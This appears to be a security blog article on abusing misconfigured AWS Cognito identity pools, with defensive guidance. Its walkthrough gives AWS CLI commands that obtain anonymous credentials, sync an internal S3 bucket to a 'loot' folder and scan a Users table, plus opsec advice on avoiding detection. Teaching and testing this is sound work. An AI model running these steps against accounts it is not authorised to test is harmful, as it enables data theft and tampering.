AWS Cognito Misconfigurations and Identity Pool Abuse

AWS Cognito Misconfigurations and Identity Pool Abuse - article cover image Cloud Security
Time it takes to read this article 6 minutes.

Disclaimer: This article is provided strictly for educational purposes and authorized security testing. Only run these techniques against systems you own or have explicit written permission to assess. Unauthorized access to computer systems is illegal in virtually every jurisdiction and can carry severe penalties.

Introduction

Amazon Cognito is AWS’s managed identity service and comes in two parts that are frequently confused: User Pools, which are a user directory handling sign-up, sign-in, and issuing JWTs (ID, access, and refresh tokens); and Identity Pools (Cognito Federated Identities), which exchange an identity — a User Pool token, a social/OIDC/SAML token, or nothing at all for unauthenticated access — for temporary AWS credentials via AWS STS. The two are often wired together, but Identity Pools can also stand entirely alone, and that is where most of the exploitable misconfigurations live.

Because an Identity Pool’s whole job is to hand out real AWS credentials to clients — mobile apps, SPAs, IoT devices — a single overlooked setting turns it into an anonymous credential vending machine. In practice this is one of the most common high-impact findings in AWS application penetration tests: an identity pool with unauthenticated identities enabled, paired with an unauthenticated IAM role that was scoped generously “to get the demo working” and never tightened. Because the pool ID is typically embedded directly in client-side JavaScript or a mobile app binary, it requires no privileged access to find — just reading the app.

Attack Prerequisites

Exploiting Cognito identity pool weaknesses generally requires:

  • The Identity Pool ID (format region:guid), usually harvested from a web app’s JS bundle, a mobile app’s config, or a public API response.
  • AllowUnauthenticatedIdentities: true on the pool, or a User Pool that allows open self-registration if the authenticated path is the target.
  • An over-permissive IAM role attached as the pool’s unauthenticated (or authenticated) role — one with broad s3:*, dynamodb:*, or similar actions instead of resource- and action-scoped permissions.
  • Optionally, the ability to self-register a User Pool account (if the authenticated role, not the unauthenticated one, is the over-privileged target) and control over a custom attribute that role-mapping logic trusts.

How It Works

An Identity Pool issues credentials through a two-call flow. First, the client calls cognito-identity:GetId, presenting either no token (unauthenticated) or a login map of provider-name-to-token (a Cognito User Pool ID token, a Google/Facebook token, or a SAML/OIDC assertion). Cognito returns an IdentityId. The client then calls cognito-identity:GetCredentialsForIdentity with that IdentityId (and the same logins map, if any), and Cognito’s service returns short-lived AWS access key, secret key, and session token minted via STS. A related call, GetOpenIdToken, returns an OpenID Connect token instead, for callers that want to do their own AssumeRoleWithWebIdentity.

Which IAM role backs those credentials is decided by the pool’s role mapping. The simplest configuration is a static mapping: one role for every unauthenticated identity, one role for every authenticated identity regardless of provider. More advanced pools use rules-based or token-based mappings, where a claim from the login token — including a User Pool custom attribute such as custom:role or custom:tenant_id — is matched to select a specific IAM role, or embedded via cognito-identity:amr into an IAM policy condition for row/prefix-level scoping. This is powerful but dangerous: Cognito User Pools by default let users set their own mutable custom attributes at sign-up unless the attribute is explicitly marked non-mutable and validated server-side. An application that trusts a client-writable custom attribute for authorization is handing the user their own privilege level.

The unauthenticated role deserves special attention because it requires no credentials, no account, and no interaction at all — GetId with IdentityPoolId alone is enough if unauthenticated identities are allowed. Any policy attached to that role is reachable by anyone on the internet who can find the pool ID, which, again, is routinely shipped in client-side code by design since it is not treated as a secret.

Vulnerable Code / Configuration

The core misconfiguration: an identity pool allowing unauthenticated access, whose unauthenticated role has a wide-open trust policy and an attached permissions policy far beyond what an anonymous client needs:

// Identity pool (relevant settings)
{
  "IdentityPoolId": "us-east-1:11111111-2222-3333-4444-555555555555",
  "IdentityPoolName": "prodAppIdentityPool",
  "AllowUnauthenticatedIdentities": true
}
JSON
// Trust policy on the unauthenticated role (Cognito_prodAppIdentityPoolUnauth_Role)
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Principal": {"Federated": "cognito-identity.amazonaws.com"},
    "Action": "sts:AssumeRoleWithWebIdentity",
    "Condition": {
      "StringEquals": {
        "cognito-identity.amazonaws.com:aud": "us-east-1:11111111-2222-3333-4444-555555555555"
      },
      "ForAnyValue:StringLike": {
        "cognito-identity.amazonaws.com:amr": "unauthenticated"
      }
    }
  }]
}

// VULNERABLE permissions policy attached to that role -- way too broad
{
  "Version": "2012-10-17",
  "Statement": [{
    "Effect": "Allow",
    "Action": ["s3:*", "dynamodb:*"],
    "Resource": "*"
  }]
}
JSON

The trust policy itself is correct and standard — the bug is entirely in the permissions policy, which should have been scoped to a handful of actions on a specific bucket prefix (e.g. s3:GetObject on arn:aws:s3:::app-public-assets/*) instead of every S3 and DynamoDB action on every resource in the account.

Walkthrough / Exploitation

With only the identity pool ID in hand, the first call requires no credentials at all:

aws cognito-identity get-id \
  --identity-pool-id us-east-1:11111111-2222-3333-4444-555555555555 \
  --region us-east-1

# {
#   "IdentityId": "us-east-1:99999999-8888-7777-6666-000000000000"
# }
Bash

Exchange the IdentityId for temporary AWS credentials via the unauthenticated role:

aws cognito-identity get-credentials-for-identity \
  --identity-id us-east-1:99999999-8888-7777-6666-000000000000 \
  --region us-east-1

# Returns Credentials.AccessKeyId / SecretKey / SessionToken
Bash

Load the returned triplet as a named profile (or export as env vars) and confirm the assumed identity, then enumerate what the role can actually reach:

export AWS_ACCESS_KEY_ID=ASIA...
export AWS_SECRET_ACCESS_KEY=...
export AWS_SESSION_TOKEN=...

aws sts get-caller-identity
# arn:aws:sts::123456789012:assumed-role/Cognito_prodAppIdentityPoolUnauth_Role/CognitoIdentityCredentials

aws s3 ls
aws s3 sync s3://internal-app-backups ./loot
aws dynamodb list-tables
aws dynamodb scan --table-name Users --region us-east-1
Bash

With s3:*/dynamodb:* on *, this anonymous session can read, write, or delete data across the account — full data exfiltration and tampering from an identity that required zero authentication. Pacu’s cognito__attack module automates this same enumerate-and-abuse flow, and is a useful reference implementation when triaging a pool during an assessment.

Note: Do not stop at the unauthenticated role. If self-registration is open on the linked User Pool, sign up a throwaway account, authenticate, and repeat the GetId/GetCredentialsForIdentity flow with the User Pool token in the Logins map — the *authenticated* role is often even more permissive on the assumption that “at least they had to sign up.”

Opsec: Every GetId and GetCredentialsForIdentity call is a distinct CloudTrail event, and the assumed-role session name is fixed (CognitoIdentityCredentials), which makes it easy for a defender to spot a burst of unauthenticated identity grants from a single source IP. Rate-limit your enumeration accordingly during an authorized assessment.

Detection and Defense

Cognito identity pool risk is fixed by tightly scoping the role attached, not by hiding the pool ID:

  • Least-privilege the unauthenticated role — never attach *:* or wildcard-resource actions; scope to the exact prefixes/tables the anonymous flow actually needs, or remove AllowUnauthenticatedIdentities entirely if unauthenticated access is not a real requirement.
  • Use rules/token-based role mapping carefully — never key a role selection off a mutable, user-writable custom attribute without server-side validation.
  • Monitor CloudTrail for cognito-identity.amazonaws.com events (GetId, GetCredentialsForIdentity, GetOpenIdToken), especially spikes tied to the unauthenticated AMR value or a single source IP/user agent.
  • Enable GuardDuty and review findings under the Cognito finding types for anomalous credential use following identity pool grants.
  • Set App Client secrets and restrict allowed OAuth flows on the User Pool side so token issuance itself cannot be abused to feed the identity pool.
  • Periodically audit role mappings and attached policies with aws cognito-identity describe-identity-pool and aws cognito-identity get-identity-pool-roles against IAM policy content, not just role names.

Real-World Impact

Over-permissive Cognito identity pools are a recurring finding across mobile and SPA-heavy AWS environments precisely because the pool ID is meant to be public, which shifts the entire security boundary onto the attached IAM roles — a boundary that is easy to get wrong once and forget. Security researchers and bug bounty writeups have repeatedly documented exposed S3 buckets and DynamoDB tables reachable through nothing more than an app’s bundled identity pool ID and the default unauthenticated role, making this one of the higher-yield, lowest-effort checks in a cloud-focused AWS penetration test.

Conclusion

Cognito Identity Pools intentionally hand out real AWS credentials to unauthenticated or lightly-authenticated clients, which means the entire security model rests on the IAM roles behind them. Treat the unauthenticated role as internet-exposed by definition, scope both roles to the minimum actions and resources the client genuinely needs, never let a mutable client claim decide role selection, and monitor identity-pool credential issuance the same way you would monitor any other anonymous entry point into the account.

You Might Also Like

If you found this useful, these related deep-dives cover adjacent techniques and their defenses:

Comments

Copied title and URL